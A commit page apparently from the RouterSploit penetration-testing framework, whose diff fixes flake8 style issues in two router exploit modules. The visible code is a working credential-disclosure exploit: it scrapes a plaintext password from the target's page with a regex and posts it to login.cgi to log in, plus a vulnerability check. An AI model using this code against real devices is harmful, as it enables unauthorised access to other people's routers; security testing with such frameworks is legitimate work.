Commit 901ed47f by BigNerd95

Fixed flake8 violations

parent 49df5b75
......@@ -4,7 +4,6 @@ from routersploit import (
exploits,
print_error,
print_success,
print_table,
http_request,
mute,
validators,
......@@ -46,11 +45,11 @@ class Exploit(exploits.Exploit):
if response is None:
return
val = re.findall('password\s?=\s?"(.+?)"', response.text) # in some fw there are no spaces
val = re.findall('password\s?=\s?"(.+?)"', response.text) # in some fw there are no spaces
if len(val):
url = "{}:{}/login.cgi".format(self.target, self.port)
payload = "pws="+val[0]+"&arc_action=login&action=Submit"
payload = "pws=" + val[0] + "&arc_action=login&action=Submit"
login = http_request(method="POST", url=url, data=payload)
if login is None:
......@@ -61,7 +60,7 @@ class Exploit(exploits.Exploit):
if not error:
print_success("Exploit success, you are now logged in!")
return
print_error("Exploit failed. Device seems to be not vulnerable.")
@mute
......@@ -72,7 +71,7 @@ class Exploit(exploits.Exploit):
if response is None:
return False # target is not vulnerable
val = re.findall('password\s?=\s?"(.+?)"', response.text) # in some fw there are no spaces
val = re.findall('password\s?=\s?"(.+?)"', response.text) # in some fw there are no spaces
if len(val):
return True # target vulnerable
......
......@@ -44,7 +44,7 @@ class Exploit(exploits.Exploit):
if response is None:
return
val = re.findall('password\s?=\s?"(.+?)"', response.text) # in some fw there are no spaces
val = re.findall('password\s?=\s?"(.+?)"', response.text) # in some fw there are no spaces
if len(val):
print_success("Exploit success")
......@@ -63,7 +63,7 @@ class Exploit(exploits.Exploit):
if response is None:
return False # target is not vulnerable
val = re.findall('password\s?=\s?"(.+?)"', response.text) # in some fw there are no spaces
val = re.findall('password\s?=\s?"(.+?)"', response.text) # in some fw there are no spaces
if len(val):
return True # target vulnerable
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment